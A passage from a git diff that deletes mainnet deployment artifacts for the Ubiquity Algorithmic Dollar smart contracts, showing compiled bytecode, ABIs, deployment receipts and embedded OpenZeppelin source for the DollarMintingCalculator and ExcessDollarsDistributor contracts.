32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0xf1ea6500a79e267f34706407d32ece0cfb98b500920d77f43d535ea267b1fbb4\",\"license\":\"BSD-4-Clause\"}},\"version\":1}", - "bytecode": "0x60a060405262000022670de0b6b3a76400006200008560201b620004131760201c565b6001600160801b0319166080523480156200003c57600080fd5b50604051620011bc380380620011bc8339810160408190526200005f916200019f565b600080546001600160a01b0319166001600160a01b0392909216919091179055620001cf565b6000816200009657506000620000ed565b816000620000a482620000f2565b90506070811015620000bf578060700382901b9150620000d3565b6070811115620000d3576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b60008082116200010157600080fd5b6000600160801b83106200011757608092831c92015b6801000000000000000083106200013057604092831c92015b64010000000083106200014557602092831c92015b6201000083106200015857601092831c92015b61010083106200016a57600892831c92015b601083106200017b57600492831c92015b600483106200018c57600292831c92015b6002831062000199576001015b92915050565b600060208284031215620001b1578081fd5b81516001600160a01b0381168114620001c8578182fd5b9392505050565b6080516001600160801b031916610fc0620001fc6000396000818161028501526103b50152610fc06000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063481c6a751461003b578063764263cf1461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610073610081565b604051908152602001610062565b6000805460408051638fe6368360e01b8152905183926001600160a01b031691638fe63683916004808301926020929190829003018186803b1580156100c657600080fd5b505afa1580156100da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fe9190610f74565b90506000816001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561015d57600080fd5b505afa158015610171573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101959190610f74565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156101ec57600080fd5b505afa158015610200573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102249190610f9b565b90506001811161027a5760405162461bcd60e51b815260206004820181905260248201527f446f6c6c61724d696e74696e6743616c63756c61746f723a206e6f74203e2031604482015260640160405180910390fd5b61040c6103fd6103b07f00000000000000000000000000000000000000000000000000000000000000006103a060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156102f357600080fd5b505afa158015610307573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061032b9190610f74565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561036357600080fd5b505afa158015610377573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061039b9190610f9b565b610413565b6001600160801b03191690610479565b6103ed7f00000000000000000000000000000000000000000000000000000000000000006103dd86610413565b6001600160801b031916906107a3565b6001600160801b031916906107bc565b6001600160801b031916610a33565b9250505090565b60008161042257506000610474565b81600061042e82610ab7565b90506070811015610447578060700382901b915061045a565b607081111561045a576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156104bf5780617fff14156104ae575061ffff60ef1b915061079d9050565b505050600160ff1b8116821861079d565b80617fff1415610510577dffffffffffffffffffffffffffff000000000000000000000000000000008416156104ff575061ffff60ef1b915061079d9050565b505050808218600160ff1b1661079d565b6f7fffffffffffffffffffffffffffffff60801b841661056c576f7fffffffffffffffffffffffffffffff60801b8516610554575061ffff60ef1b915061079d9050565b505050808218600160ff1b16617fff60f01b1761079d565b6001600160701b03608085901c1681610588576001915061058f565b600160701b175b6001600160701b03608087901c16836105ce5780156105c95760006105b382610ab7565b6001955060e20393840160711901939190911b90505b6105d8565b600160701b1760721b5b8181816105f557634e487b7160e01b600052601260045260246000fd5b0490508061062257600160ff1b87871816610611576000610617565b600160ff1b5b94505050505061079d565b6d100000000000000000000000000081101561064e57634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156106af576e0400000000000000000000000000008210156106a4576e02000000000000000000000000000082101561069c57607061069f565b60715b6106a7565b60725b60ff166106b8565b6106b882610ab7565b9050836140710181860111156106d657617fff945060009150610769565b83818601613ffc0110156106f1576000945060009150610769565b83818601613f8c01101561073e578385613ffc01111561071c578385613ffc010382901b9150610735565b8385613ffc01101561073557613ffc8585030382901c91505b60009450610769565b6070811115610751576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b60006107b583600160ff1b8418610b67565b9392505050565b6000617fff60f084811c8216919084901c8116908214156108645780617fff141561083a576001600160801b0319858116908516141561080757505050600160ff1b8116821861079d565b600160ff1b6001600160801b031986861816141561082a5750505081811761079d565b5061ffff60ef1b915061079d9050565b6f7fffffffffffffffffffffffffffffff60801b84166104ae575061ffff60ef1b915061079d9050565b80617fff14156108a9576f7fffffffffffffffffffffffffffffff60801b8516610898575061ffff60ef1b915061079d9050565b505050600160ff1b8216811861079d565b6001600160701b03608086901c16826108c557600192506108cc565b600160701b175b6001600160701b03608086901c16826108e857600192506108ef565b600160701b175b908102908161090c57600160ff1b87871816610611576000610617565b928201926000600160e11b83101561094057600160e01b8310156109385761093383610ab7565b61093b565b60e05b610943565b60e15b9050614070818601101561095e5760009450600092506109fb565b6140e081860110156109a15761407085101561098357846140700383901c9250610998565b61407085111561099857614070850383901b92505b600094506109fb565b61c0dd81860111156109bb57617fff9450600092506109fb565b60708111156109d2576070810383901c92506109e5565b60708110156109e5578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b9550505050505061079d565b6000617fff60f083901c16613fff811015610a52576000915050610474565b6001607f1b608084901c10610a6657600080fd5b6140fe811115610a7557600080fd5b600160701b6001600160701b03608085901c161761406f821015610a9f5761406f8290031c6107b5565b61406f8211156107b55761406e1982011b9392505050565b6000808211610ac557600080fd5b60007001000000000000000000000000000000008310610ae757608092831c92015b680100000000000000008310610aff57604092831c92015b6401000000008310610b1357602092831c92015b620100008310610b2557601092831c92015b6101008310610b3657600892831c92015b60108310610b4657600492831c92015b60048310610b5657600292831c92015b6002831061079d5760010192915050565b6000617fff60f084811c8216919084901c811690821415610bb55780617fff1415610bab576001600160801b0319858116908516141561082a57849250505061079d565b849250505061079d565b80617fff1415610bc957839250505061079d565b6001607f1b608086901c90811015906001600160701b031683610bef5760019350610bf6565b600160701b175b6001607f1b608087901c90811015906001600160701b031684610c1c5760019450610c23565b600160701b175b82610c53576001600160801b03198816600160ff1b14610c435787610c46565b60005b965050505050505061079d565b80610c73576001600160801b03198916600160ff1b14610c435788610c46565b8486038415158315151415610daa576070811315610c9a578997505050505050505061079d565b6000811315610cac5790811c90610cdb565b606f19811215610cc5578897505050505050505061079d565b6000811215610cdb578060000384901c93508596505b928101926e0200000000000000000000000000008410610d01576001968701969390931c925b86617fff1415610d4b5784610d1b57617fff60f01b610d3d565b7fffff0000000000000000000000000000000000000000000000000000000000005b97505050505050505061079d565b600160701b841015610d605760009650610d6d565b6001600160701b03841693505b83607088901b86610d7f576000610d85565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b97505050505050505061079d565b6000811315610dc557600184901b9350600187039650610ddc565b6000811215610ddc57600182901b91506001860396505b6070811315610dee5760019150610e3b565b6001811315610e0b576001810360018303901c6001019150610e3b565b606f19811215610e1e5760019350610e3b565b600019811215610e3b576001816000030360018503901c60010193505b818410610e4c578184039350610e55565b83820393508294505b83610e6b57506000965061079d95505050505050565b6000610e7685610ab7565b90508060711415610e9c57600185901c6001600160701b03169450600188019750610eeb565b6070811015610ede57607081900380891115610ecb578086901b6001600160701b031695508089039850610ed8565b600098600019019590951b945b50610eeb565b6001600160701b03851694505b87617fff1415610f365785610f0557617fff60f01b610f27565b7fffff0000000000000000000000000000000000000000000000000000000000005b9850505050505050505061079d565b84607089901b87610f48576000610f4e565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b9850505050505050505061079d565b600060208284031215610f85578081fd5b81516001600160a01b03811681146107b5578182fd5b600060208284031215610fac578081fd5b505191905056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063481c6a751461003b578063764263cf1461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610073610081565b604051908152602001610062565b6000805460408051638fe6368360e01b8152905183926001600160a01b031691638fe63683916004808301926020929190829003018186803b1580156100c657600080fd5b505afa1580156100da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fe9190610f74565b90506000816001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561015d57600080fd5b505afa158015610171573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101959190610f74565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156101ec57600080fd5b505afa158015610200573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102249190610f9b565b90506001811161027a5760405162461bcd60e51b815260206004820181905260248201527f446f6c6c61724d696e74696e6743616c63756c61746f723a206e6f74203e2031604482015260640160405180910390fd5b61040c6103fd6103b07f00000000000000000000000000000000000000000000000000000000000000006103a060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156102f357600080fd5b505afa158015610307573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061032b9190610f74565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561036357600080fd5b505afa158015610377573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061039b9190610f9b565b610413565b6001600160801b03191690610479565b6103ed7f00000000000000000000000000000000000000000000000000000000000000006103dd86610413565b6001600160801b031916906107a3565b6001600160801b031916906107bc565b6001600160801b031916610a33565b9250505090565b60008161042257506000610474565b81600061042e82610ab7565b90506070811015610447578060700382901b915061045a565b607081111561045a576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156104bf5780617fff14156104ae575061ffff60ef1b915061079d9050565b505050600160ff1b8116821861079d565b80617fff1415610510577dffffffffffffffffffffffffffff000000000000000000000000000000008416156104ff575061ffff60ef1b915061079d9050565b505050808218600160ff1b1661079d565b6f7fffffffffffffffffffffffffffffff60801b841661056c576f7fffffffffffffffffffffffffffffff60801b8516610554575061ffff60ef1b915061079d9050565b505050808218600160ff1b16617fff60f01b1761079d565b6001600160701b03608085901c1681610588576001915061058f565b600160701b175b6001600160701b03608087901c16836105ce5780156105c95760006105b382610ab7565b6001955060e20393840160711901939190911b90505b6105d8565b600160701b1760721b5b8181816105f557634e487b7160e01b600052601260045260246000fd5b0490508061062257600160ff1b87871816610611576000610617565b600160ff1b5b94505050505061079d565b6d100000000000000000000000000081101561064e57634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156106af576e0400000000000000000000000000008210156106a4576e02000000000000000000000000000082101561069c57607061069f565b60715b6106a7565b60725b60ff166106b8565b6106b882610ab7565b9050836140710181860111156106d657617fff945060009150610769565b83818601613ffc0110156106f1576000945060009150610769565b83818601613f8c01101561073e578385613ffc01111561071c578385613ffc010382901b9150610735565b8385613ffc01101561073557613ffc8585030382901c91505b60009450610769565b6070811115610751576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b60006107b583600160ff1b8418610b67565b9392505050565b6000617fff60f084811c8216919084901c8116908214156108645780617fff141561083a576001600160801b0319858116908516141561080757505050600160ff1b8116821861079d565b600160ff1b6001600160801b031986861816141561082a5750505081811761079d565b5061ffff60ef1b915061079d9050565b6f7fffffffffffffffffffffffffffffff60801b84166104ae575061ffff60ef1b915061079d9050565b80617fff14156108a9576f7fffffffffffffffffffffffffffffff60801b8516610898575061ffff60ef1b915061079d9050565b505050600160ff1b8216811861079d565b6001600160701b03608086901c16826108c557600192506108cc565b600160701b175b6001600160701b03608086901c16826108e857600192506108ef565b600160701b175b908102908161090c57600160ff1b87871816610611576000610617565b928201926000600160e11b83101561094057600160e01b8310156109385761093383610ab7565b61093b565b60e05b610943565b60e15b9050614070818601101561095e5760009450600092506109fb565b6140e081860110156109a15761407085101561098357846140700383901c9250610998565b61407085111561099857614070850383901b92505b600094506109fb565b61c0dd81860111156109bb57617fff9450600092506109fb565b60708111156109d2576070810383901c92506109e5565b60708110156109e5578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b9550505050505061079d565b6000617fff60f083901c16613fff811015610a52576000915050610474565b6001607f1b608084901c10610a6657600080fd5b6140fe811115610a7557600080fd5b600160701b6001600160701b03608085901c161761406f821015610a9f5761406f8290031c6107b5565b61406f8211156107b55761406e1982011b9392505050565b6000808211610ac557600080fd5b60007001000000000000000000000000000000008310610ae757608092831c92015b680100000000000000008310610aff57604092831c92015b6401000000008310610b1357602092831c92015b620100008310610b2557601092831c92015b6101008310610b3657600892831c92015b60108310610b4657600492831c92015b60048310610b5657600292831c92015b6002831061079d5760010192915050565b6000617fff60f084811c8216919084901c811690821415610bb55780617fff1415610bab576001600160801b0319858116908516141561082a57849250505061079d565b849250505061079d565b80617fff1415610bc957839250505061079d565b6001607f1b608086901c90811015906001600160701b031683610bef5760019350610bf6565b600160701b175b6001607f1b608087901c90811015906001600160701b031684610c1c5760019450610c23565b600160701b175b82610c53576001600160801b03198816600160ff1b14610c435787610c46565b60005b965050505050505061079d565b80610c73576001600160801b03198916600160ff1b14610c435788610c46565b8486038415158315151415610daa576070811315610c9a578997505050505050505061079d565b6000811315610cac5790811c90610cdb565b606f19811215610cc5578897505050505050505061079d565b6000811215610cdb578060000384901c93508596505b928101926e0200000000000000000000000000008410610d01576001968701969390931c925b86617fff1415610d4b5784610d1b57617fff60f01b610d3d565b7fffff0000000000000000000000000000000000000000000000000000000000005b97505050505050505061079d565b600160701b841015610d605760009650610d6d565b6001600160701b03841693505b83607088901b86610d7f576000610d85565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b97505050505050505061079d565b6000811315610dc557600184901b9350600187039650610ddc565b6000811215610ddc57600182901b91506001860396505b6070811315610dee5760019150610e3b565b6001811315610e0b576001810360018303901c6001019150610e3b565b606f19811215610e1e5760019350610e3b565b600019811215610e3b576001816000030360018503901c60010193505b818410610e4c578184039350610e55565b83820393508294505b83610e6b57506000965061079d95505050505050565b6000610e7685610ab7565b90508060711415610e9c57600185901c6001600160701b03169450600188019750610eeb565b6070811015610ede57607081900380891115610ecb578086901b6001600160701b031695508089039850610ed8565b600098600019019590951b945b50610eeb565b6001600160701b03851694505b87617fff1415610f365785610f0557617fff60f01b610f27565b7fffff0000000000000000000000000000000000000000000000000000000000005b9850505050505050505061079d565b84607089901b87610f48576000610f4e565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b9850505050505050505061079d565b600060208284031215610f85578081fd5b81516001600160a01b03811681146107b5578182fd5b600060208284031215610fac578081fd5b505191905056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "constructor": { - "params": { - "_manager": "the address of the manager contract so we can fetch variables" - } - } - }, - "title": "A mock coupon calculator that always returns a constant", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "getDollarsToMint()": { - "notice": "returns (TWAP_PRICE -1) * UAD_Total_Supply" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 7108, - "contract": "contracts/DollarMintingCalculator.sol:DollarMintingCalculator", - "label": "manager", - "offset": 0, - "slot": "0", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - } - ], - "types": { - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/ExcessDollarsDistributor.json b/packages/contracts/dollar/deployments/mainnet/ExcessDollarsDistributor.json deleted file mode 100644 index 53cb024a0..000000000 --- a/packages/contracts/dollar/deployments/mainnet/ExcessDollarsDistributor.json +++ /dev/null @@ -1,93 +0,0 @@ -{ - "address": "0x25d2b980E406bE97237A06Bca636AeD607661Dfa", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [], - "name": "distributeDollars", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0x2c318cf16b148b3d79655d320f6e126d99c304a89caae1f0c6ab907e06499e7f", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x25d2b980E406bE97237A06Bca636AeD607661Dfa", - "transactionIndex": 73, - "gasUsed": "1606235", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xd113e992f4a30868848b2aceda29cf4da734fd9accd4f543a5ea278994b0b3fc", - "transactionHash": "0x2c318cf16b148b3d79655d320f6e126d99c304a89caae1f0c6ab907e06499e7f", - "logs": [], - "blockNumber": 12595541, - "cumulativeGasUsed": "5336361", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"distributeDollars\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"constructor\":{\"params\":{\"_manager\":\"the address of the manager contract so we can fetch variables\"}}},\"title\":\"An excess dollar distributor which sends dollars to treasury, lp rewards and inflation rewards\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/ExcessDollarsDistributor.sol\":\"ExcessDollarsDistributor\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n}\\n\",\"keccak256\":\"0x7c0ea2d284bad1aa002165ba4c5eac30070be8e56b19dba1ac7c8f2c8bd4832c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This 